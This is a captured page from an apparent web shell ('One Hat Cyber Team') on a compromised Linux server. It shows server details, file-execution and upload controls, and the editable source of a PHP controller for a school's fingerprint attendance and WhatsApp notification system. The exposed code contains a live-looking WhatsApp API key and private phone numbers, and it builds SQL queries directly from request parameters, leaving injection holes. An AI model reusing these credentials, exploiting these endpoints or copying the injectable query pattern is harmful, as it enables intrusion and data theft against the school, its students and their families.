⚝
One Hat Cyber Team
⚝
Your IP:
192.168.31.6
Server IP:
192.168.1.11
Server:
Linux pams 6.1.0-29-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.123-1 (2025-01-02) x86_64
PHP Version:
8.2.28
Buat File
|
Buat Folder
Upload File
Eksekusi
Dir :
~
/
var
/
www
/
pams
/
modules
/
Iclock
/
Controllers
/
Edit File: Iclockccc.php
<?php defined('BASEPATH') OR exit('No direct script access allowed'); date_default_timezone_set('Asia/Jakarta'); class Iclock extends MY_Controller { public function __construct(){ } public function index() { $data['head'] = 'Daftar'; $data['subhead'] = 'HAdir'; $data['page'] = 'list'; $data['colom'] = array('No', 'NIS', 'ID Finger', 'Rombel', 'Tahun Akademik', 'Aksi'); $data['body'] = $this->db->query("SELECT * FROM kelas")->result(); $this->load->view('template', $data); } public function cdata() { $content = $this->input->raw_input_stream; $arr = preg_split('/\\r\\n|\\r|,|\\n/', $content); $jml = count($arr); if ($_SERVER['REQUEST_METHOD'] === 'GET') { $r = "GET OPTION FROM: ".$_GET['SN']." ATTLOGStamp=None OPERLOGStamp=:".time()." ATTPHOTOStamp=None ErrorDelay=30 Delay=10 TransTimes=00:00:05 Transinterval=1 TransFlag=1110000000 TimeZone=7 ServerVer=2.2.14 Realtime=1 Encrypt=None"; $r = trim(preg_replace('/\t+/', '', $r)); $dt = json_encode($_GET); $q = "UPDATE device SET last_hit='".date('Y-m-d H:i:sa')."', waktu='".time()."' WHERE SN = '".$_GET['SN']."'"; $this->db->query($q); $this->output->set_header("HTTP/1.0 200 OK"); $this->output->set_header("Content-Type: text/plain"); $this->output->set_header("Connection: close"); $this->output->set_header("Cache-Control: no-store"); echo $r; }else{ $sn_guru = "CLX8204060495"; $dt = json_encode($_GET); $this->db->query("INSERT INTO log (data, type, anu) VALUES ('".date('Y-m-d H:i:s')."', 'CDATA_POST','$dt')"); //absen guru if($_GET['SN'] == $sn_guru){ foreach($arr as $rey){ $req = preg_split('/\\t\\n|\\t|,|\\n/', $rey); if(!empty($req[0]) ){ $id_f = $req[0]; $waktu = $req[1]; $jenis = $req[2]; //$msg = $id_f.' => '.$jenis; //$wa = sms('085710401019', $msg); $id = $this->uuid->v4();; $ds = $this->db->query("SELECT * FROM guru WHERE id_fp = '$id_f'")->row(); if(isset($ds->id)){ if($jenis == '0'){ $c['message'] = 'Halo *'.$ds->nama.'* Terima Kasih telah melakukan absensi datang di Mts Al-Karimiyah, system mencatat anda telah tiba di sekolah pada tanggal *'.$waktu.'.* *_Pesan ini dikirim secara otomatis oleh system, Mohon untuk menyimpan nomor ini agar tidak di anggap spammer._* Terima Kasih... '; }else{ $c['message'] = 'Halo *'.$ds->nama.'* Terima Kasih telah melakukan absensi pulang di Mts Al-Karimiyah, system mencatat anda telah meninggalkan sekolah pada tanggal *'.$waktu.'.* *_Pesan ini dikirim secara otomatis oleh system, Mohon untuk menyimpan nomor ini agar tidak di anggap spammer._* Terima Kasih... '; } $c['number'] = no_wa($ds->kontak); $c['sender'] = '6285283090622'; $c['api_key'] = 't9WJG1zdVOAKgIS4XBQJDYiVAE4dbM'; $sms = send_wa($c); //$this->db->query("INSERT INTO log (data, type, anu) VALUES ('".date('Y-m-d H:i:s')."', 'CDATA_GET','$dt')"); $cek = $this->db->query("SELECT id_fp FROM absen_struktur WHERE id_fp ='".$ds->id."' AND jenis = '$jenis' AND DATE_FORMAT(waktu, '%Y-%m-%d') = '".date('Y-m-d')."'")->row(); if(!isset($cek->id_fp)){ if($cek->id_fp !== ''){ $q = $this->db->query("INSERT INTO `absen_struktur`(`id`, `id_fp`, `jenis`, `waktu`) VALUES ('$id', '".$ds->id."', '$jenis', '$waktu')"); } } } } } $dt = $content; echo 'OK : '.$jml; }else{ //ABSEN SISWA foreach($arr as $rey){ $req = preg_split('/\\t\\n|\\t|,|\\n/', $rey); if(!empty($req[0]) ){ $id_f = $req[0]; $waktu = $req[1]; $jenis = $req[2]; $id = $this->uuid->v4();; $ds = $this->db->query("SELECT id, nama, nomor_kontak FROM siswa WHERE barcode = '$id_f'")->row(); $id_siswa = $ds->id; $tgl = date('Y-m-d'); $rubah_hari = array("Friday"=>"JUMAT", "Thursday"=>"KAMIS", "Wednesday"=>"RABU", "Tuesday"=>"SELASA", "Monday"=>"SENIN"); $hari = $rubah_hari[date('l', strtotime($tgl))]; $cek_kelas = $this->db->query("SELECT * FROM isi WHERE id_siswa = '$id_siswa'")->row(); $jadwal = $this->db->query("SELECT mapel.nama as nm_mapel, guru.nama as nm_guru, guru.jk FROM `jadwal` JOIN mapel ON jadwal.id_mapel = mapel.id JOIN guru on jadwal.id_guru = guru.id WHERE id_kelas = (SELECT id_kelas FROM isi WHERE id_siswa = '$id_siswa') AND hari='$hari' GROUP BY jadwal.id_mapel ORDER BY jam_mulai")->result(); $j =''; foreach ($jadwal as $key) { if($key->jk == 'L'){ $j .= ' '.strtoupper($key->nm_mapel).' Bersama Bapak '.$key->nm_guru; }else{ $j .= ' '.strtoupper($key->nm_mapel).' Bersama Ibu '.$key->nm_guru; } } if(isset($ds->id)){ if(date('H') < '10'){ $c['message'] = 'Asslamu`alaikum Ayah dan Bunda.... Annada *'.$ds->nama.'* telah siap memulai pelajaran pada pukul '.date('H:i:s').' Mohon menyimpan nomor ini agar tidak dianggap sebagai spammer oleh whatsapp. Pesan ini dikirim secara otomatis oleh system informasi pangkalan data sekolah, mohon untuk tidak membalas. Untuk Informasi lebih lanjut bisa menghubungi guru piket di nomor whatsapp 0895630167290. Terima Kasih.....'; }else{ $c['message'] = 'Asslamu`alaikum Ayah dan Bunda.... Annada *'.$ds->nama.'* telah Selesai Belajar pada pukul '.date('H:i:s').' hari ini ananda telah Belajar '. $j .' Mohon menyimpan nomor ini agar tidak dianggap sebagai spammer oleh whatsapp. Pesan ini dikirim secara otomatis oleh system informasi pangkalan data sekolah, mohon untuk tidak membalas. Untuk Informasi lebih lanjut bisa menghubungi guru piket di nomor whatsapp 0895630167290. Terima Kasih.....'; } $c['number'] = no_wa($ds->nomor_kontak); $c['sender'] = '6285283090622'; $c['api_key'] = 't9WJG1zdVOAKgIS4XBQJDYiVAE4dbM'; $cek = $this->db->query("SELECT id_siswa FROM absen WHERE id_siswa ='$id_siswa' AND status = '$jenis' AND DATE_FORMAT(tanggal, '%Y-%m-%d') = '".date('Y-m-d')."'")->row(); if(!isset($cek->id_siswa)){ if($cek->id_siswa !== ''){ /*$sms = send_wa($c); $r_sms = json_decode($sms); if(isset($r_sms->msg)){ $status_wa = $r_sms->msg; }else{ $status_wa = 'Gagal Mengirim Whatsapp'; }*/ $status_wa = 'Wa Gateway Non-Aktif'; $q = $this->db->query("INSERT INTO absen (id, id_siswa, tanggal, status, wa) VALUES ('$id', '$id_siswa', '$waktu', '$jenis', '$status_wa')"); } } } } } $dt = $content; echo 'OK : '.$jml; } } } public function edata() { if ($_SERVER['REQUEST_METHOD'] === 'GET') { $dt = json_encode($_SERVER); $this->db->query("INSERT INTO log (data, type, anu) VALUES ('".date('Y-m-d H:i:s')."', 'EDATA_GET','$dt')"); }else{ $dt = json_encode($_SERVER); $this->db->query("INSERT INTO log (data, type, anu) VALUES ('".date('Y-m-d H:i:s')."', 'EDATA_POST','$dt')"); } } public function getrequest(){ $content = $this->input->raw_input_stream; $this->db->query("UPDATE device SET last_hit='".date('Y-m-d H:i:sa')."', waktu='".time()."' WHERE SN = '".$_GET['SN']."'"); echo 'OK'; } public function test_c(){ $content = $this->input->raw_input_stream; $arr = preg_split('/\\r\\n|\\r|,|\\n/', $content); $jml = count($arr); //ABSEN SISWA foreach($arr as $rey){ $req = preg_split('/\\t\\n|\\t|,|\\n/', $rey); // $req[0] = '1325'; if(!empty($req[0]) ){ $id_f = $req[0]; $waktu = $req[1]; $jenis = $req[2]; // $waktu = ''; // $jenis = ''; $tgl = '2024-08-27'; $rubah_hari = array("Friday"=>"JUMAT", "Thursday"=>"KAMIS", "Wednesday"=>"RABU", "Tuesday"=>"SELASA", "Monday"=>"SENIN"); $hari = $rubah_hari[date('l', strtotime($tgl))]; $id = $this->uuid->v4();; $ds = $this->db->query("SELECT id, nama, nomor_kontak FROM siswa WHERE barcode = '$id_f'")->row(); $id_siswa = $ds->id; $cek_kelas = $this->db->query("SELECT * FROM isi WHERE id_siswa = '$id_siswa'")->row(); $jadwal = $this->db->query("SELECT mapel.nama as nm_mapel, guru.nama as nm_guru, guru.jk FROM `jadwal` JOIN mapel ON jadwal.id_mapel = mapel.id JOIN guru on jadwal.id_guru = guru.id WHERE id_kelas = (SELECT id_kelas FROM isi WHERE id_siswa = '$id_siswa') AND hari='$hari' GROUP BY jadwal.id_mapel ORDER BY jam_mulai")->result(); $j =''; foreach ($jadwal as $key) { if($key->jk == 'L'){ $j .= ' '.strtoupper($key->nm_mapel).' Bersama Bapak '.$key->nm_guru; }else{ $j .= ' '.strtoupper($key->nm_mapel).' Bersama Ibu '.$key->nm_guru; } } if(isset($ds->id)){ if(date('H') < '10'){ $c['message'] = 'Asslamu`alaikum Ayah dan Bunda.... Annada *'.$ds->nama.'* telah siap memulai pelajaran pada pukul '.date('H:i:s').' Mohon menyimpan nomor ini agar tidak dianggap sebagai spammer oleh whatsapp. Pesan ini dikirim secara otomatis oleh system informasi pangkalan data sekolah, mohon untuk tidak membalas. Untuk Informasi lebih lanjut bisa menghubungi guru piket di nomor whatsapp 0895630167290. Terima Kasih.....'; }else{ $c['message'] = 'Asslamu`alaikum Ayah dan Bunda.... Annada *'.$ds->nama.'* telah Selesai Belajar pada pukul '.date('H:i:s').' hari ini ananda telah Belajar '. $j .' Mohon menyimpan nomor ini agar tidak dianggap sebagai spammer oleh whatsapp. Pesan ini dikirim secara otomatis oleh system informasi pangkalan data sekolah, mohon untuk tidak membalas. Untuk Informasi lebih lanjut bisa menghubungi guru piket di nomor whatsapp 0895630167290. Terima Kasih.....'; } // $c['number'] = no_wa($ds->nomor_kontak); $c['number'] = no_wa('085710401019'); $c['sender'] = '6285283090622'; $c['api_key'] = 't9WJG1zdVOAKgIS4XBQJDYiVAE4dbM'; $cek = $this->db->query("SELECT id_siswa FROM absen WHERE id_siswa ='$id_siswa' AND status = '$jenis' AND DATE_FORMAT(tanggal, '%Y-%m-%d') = '".date('Y-m-d')."'")->row(); // echo $c['message']; if(!isset($cek->id_siswa)){ $sms = send_wa($c); $r_sms = json_decode($sms); if(isset($r_sms->msg)){ $status_wa = $r_sms->msg; }else{ $status_wa = 'Gagal Mengirim Whatsapp'; } // $q = $this->db->query("INSERT INTO absen (id, id_siswa, tanggal, status, wa) VALUES ('$id', '$id_siswa', '$waktu', '$jenis', '$status_wa')"); } } } } $dt = $content; echo 'OK : '.$jml; } public function test_wa(){ $c['number'] = no_wa('085710401019'); $c['sender'] = '6285283090622'; $c['api_key'] = 't9WJG1zdVOAKgIS4XBQJDYiVAE4dbM'; $c['message'] = 'Hallo'; $sms = send_wa($c); echo json_encode($sms); } }
Simpan